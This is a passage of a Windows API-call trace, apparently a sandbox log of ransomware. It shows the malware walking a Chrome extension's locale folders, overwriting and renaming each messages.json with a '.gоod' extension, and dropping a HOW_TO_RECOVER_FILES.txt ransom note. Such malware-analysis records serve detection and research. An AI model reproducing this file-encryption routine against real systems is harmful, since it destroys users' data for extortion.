lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.gоod")) returned 1 [0234.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0234.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0234.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0234.402] GetFileType (hFile=0x834) returned 0x1 [0234.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0234.402] GetFileType (hFile=0x834) returned 0x1 [0234.403] WriteFile (in: hFile=0x834, lpBuffer=0x3be8f20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3be8f20*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0234.405] CloseHandle (hObject=0x834) returned 1 [0234.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0234.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x7e [0234.405] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0234.406] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.406] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55240602, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55242ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.406] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.406] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0234.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0234.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x7e [0234.407] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0234.407] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.407] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55240602, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55242ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.407] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55240602, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55242ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0234.407] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0234.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0234.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0234.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3bf8fc0 | out: lpFileInformation=0x3bf8fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55240602, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55242ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6)) returned 1 [0234.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0234.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0234.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0234.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.408] GetFileType (hFile=0x834) returned 0x1 [0234.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0234.408] GetFileType (hFile=0x834) returned 0x1 [0234.408] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd6 [0234.408] ReadFile (in: hFile=0x834, lpBuffer=0x3bf9460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3bf9460*, lpNumberOfBytesRead=0x1f6e7648*=0xd6, lpOverlapped=0x0) returned 1 [0234.409] CloseHandle (hObject=0x834) returned 1 [0234.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0234.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0234.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.609] GetFileType (hFile=0x834) returned 0x1 [0234.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0234.609] GetFileType (hFile=0x834) returned 0x1 [0234.609] WriteFile (in: hFile=0x834, lpBuffer=0x38c0228*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x38c0228*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0234.611] CloseHandle (hObject=0x834) returned 1 [0234.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0234.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0234.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0234.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55240602, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55242ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x880de428, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0234.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0234.612] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.gоod")) returned 1 [0234.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0234.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0234.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0234.614] GetFileType (hFile=0x834) returned 0x1 [0234.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0234.614] GetFileType (hFile=0x834) returned 0x1 [0234.614] WriteFile (in: hFile=0x834, lpBuffer=0x38c3c20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38c3c20*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0234.615] CloseHandle (hObject=0x834) returned 1 [0234.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0234.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpFilePart=0x0) returned 0x7e [0234.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0234.616] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.616] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5524f067, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55251748, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.616] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.616] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0234.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0234.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpFilePart=0x0) returned 0x7e [0234.617] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0234.617] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.617] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5524f067, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55251748, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.617] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5524f067, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55251748, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0234.617] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0234.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0234.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0234.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38d3cc0 | out: lpFileInformation=0x38d3cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5524f067, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55251748, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1 [0234.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0234.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0234.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0234.618] CreateFileW 